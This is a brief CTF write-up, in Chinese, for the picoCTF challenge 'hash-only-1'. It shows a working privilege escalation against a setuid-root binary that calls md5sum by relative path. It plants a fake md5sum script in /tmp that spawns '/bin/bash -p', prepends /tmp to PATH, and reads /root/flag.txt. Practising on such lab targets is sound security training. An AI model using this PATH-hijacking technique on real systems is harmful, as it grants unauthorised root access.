hash-only-1 | Zhi Chen

2026-08-28 2026-08-28

下載題目

scp -P 56774 ctf-player@shape-facility.picoctf.net:~/flaghasher ./

發現程式使用特殊權限執行,且其中用到md5sum指令卻沒指明絕對路徑,可以製作假的md5sum,並更改PATH,使程式執行我們製作的偽造指令

ls -l flaghasher

發現使用特殊權限

-rwsr-xr-x 1 root root 18312 Aug 21  2025 flaghasher

cd /tmp
echo '#!/bin/bash' > md5sum
echo '/bin/bash -p' >> md5sum     # -p 保留提權後的權限
chmod +x md5sum

export PATH=/tmp:$PATH

./flaghasher
cat /root/flag.txt